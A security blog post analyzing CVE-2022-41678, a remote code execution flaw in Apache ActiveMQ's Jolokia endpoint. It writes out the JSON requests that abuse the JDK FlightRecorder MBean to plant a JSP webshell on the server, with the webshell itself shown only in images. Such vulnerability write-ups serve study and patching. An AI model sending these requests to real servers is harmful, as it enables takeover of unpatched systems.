663 words
3 minutes
CVE-2022-41678 Apache ActiveMQ Jolokia RCE

There have been several ActiveMQ vulnerabilities recently. I saw others already analyzed them, so I didn’t dig too deeply at the time. Then an older issue from last year got re-surfaced, so I wrote these notes in one go (also because I hadn’t systematically studied ActiveMQ, so this was a good excuse).

The official advisory is very detailed, see:
https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt

Affected Versions#

  • Apache ActiveMQ < 5.16.6
  • 5.17.0 < Apache ActiveMQ < 5.17.4

Prerequisites#

When using the Jolokia API in Apache ActiveMQ, the JSON request format depends on the operation you want to perform. Jolokia supports many operations, such as reading MBean attributes, executing MBean operations, writing MBean attributes, etc.

Below are a few basic Jolokia operations.

Read an MBean Attribute#

{
"type": "read",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"attribute": "TotalProducerCount"
}

![image-20231201003335267](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003335267.png)

Execute an MBean Operation#

{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addQueue",
"arguments": ["TestQueue"]
}

![image-20231201003342466](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003342466.png)

Write an MBean Attribute#

{
"type": "write",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"attribute": "SomeAttribute",
"value": "NewValue"
}

![image-20231201003345836](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003345836.png)

List All MBeans#

{
"type": "list"
}

![image-20231201003348573](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003348573.png)

That’s enough background for analyzing this issue.

Vulnerability Analysis#

Most public writeups already point to Jolokia, so I went straight to diffing the patch (not just laziness…).

One note: don’t use 5.17 if you can avoid it; use 5.16 instead. The environment setup for 5.17 was a pain.

![image-20231201003358698](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003358698.png)

First, from web.xml we can locate the Jolokia path and the servlet implementation.

Let’s look at org.jolokia.http.AgentServlet:

![image-20231201003403085](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003403085.png) ![image-20231201003406901](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003406901.png)

It checks the Origin header, and exits if the origin is not allowed. So include an appropriate Origin header when accessing it.

With that, you can use the Jolokia operations from the earlier section.

With Jolokia, you can operate on MBeans. MBeans are the core of JMX: they expose JDK-level services as interfaces, which can provide powerful capabilities.

In Java 11, a new MBean was introduced: jdk.management.jfr.FlightRecorderMXBeanImpl.

Oracle’s documentation is here (recommended):
https://docs.oracle.com/en/java/javase/11/docs/api/jdk.management.jfr/jdk/management/jfr/FlightRecorderMXBean.html

Below is a brief walkthrough.

newRecording creates a new recording but doesn’t start it:

public long newRecording() {
MBeanUtils.checkControl();
getRecorder(); // ensure notification listener is setup
return AccessController.doPrivileged(new PrivilegedAction<Recording>() {
@Override
public Recording run() {
return new Recording();
}
}, null, new FlightRecorderPermission("accessFlightRecorder")).getId();
}

To start a recording, call startRecording with the returned id:

public void startRecording(long id) {
MBeanUtils.checkControl();
getExistingRecording(id).start();
}

To stop it, call stopRecording:

public boolean stopRecording(long id) {
MBeanUtils.checkControl();
return getExistingRecording(id).stop();
}

Starting/stopping alone doesn’t help us embed webshell content. We need setConfiguration to write the webshell content as part of the configuration. Where do we get a configuration template? From getConfigurations:

public List<ConfigurationInfo> getConfigurations() {
MBeanUtils.checkMonitor();
return MBeanUtils.transformList(Configuration.getConfigurations(), ConfigurationInfo::new);
}

Finally, copyTo writes the recording output to a specified file path — this is the last step to write a JSP:

public void copyTo(long recording, String path) throws IOException {
Objects.requireNonNull(path);
MBeanUtils.checkControl();
getExistingRecording(recording).dump(Paths.get(path));
}

The official docs also show the typical usage:

![image-20231201003418727](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003418727.png)

So the exploitation plan is clear:

Create recording → set configuration → start → stop → dump to file
The recording content is what we want to write (the webshell).

Let’s do it step-by-step. First, create a recording (no arguments). The response value is the recording id:

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"newRecording"}

![image-20231201003423284](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003423284.png) ![image-20231201003425810](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003425810.png)

Then fetch a configuration to see its structure (note: use read):

{"type":"read","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"getConfigurations"}

![image-20231201003429100](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003429100.png) ![image-20231201003432288](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003432288.png)

Modify it by injecting the webshell payload:

![image-20231201003437020](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003437020.png)

Write it back. The method takes two arguments: the id (here 1), and the modified configuration contents:

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"setConfiguration","arguments": [1,"xml"]}

![image-20231201003440454](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003440454.png) ![image-20231201003443369](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003443369.png)

Start & stop the recording:

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"startRecording","arguments": [1]}
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"stopRecording","arguments": [1]}

![image-20231201003446643](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003446643.png) ![image-20231201003449380](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003449380.png) ![image-20231201003452343](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003452343.png) ![image-20231201003455192](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003455192.png)

Dump to file:

![image-20231201003457991](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003457991.png) ![image-20231201003500883](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003500883.png)

Verify by accessing it:

![image-20231201003504748](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003504748.png)

Summary#

It feels like every time there’s a major underlying update with new features, new security issues show up. Here, ActiveMQ 5.16.x started supporting Java 11, which opened up this angle. Similar new-feature surfaces are worth auditing.

Also, the exploitation primitives are not limited to JDK MBeans — you can also leverage third-party MBeans to get a shell. That part is left as an exercise.

CVE-2022-41678 Apache ActiveMQ Jolokia RCE
https://springkill.github.io/en/posts/cve-2022-41678-apache-activemq-jolokia-rce/
Author
SpringKill
Published at
2023-12-01
License
CC BY-NC-SA 4.0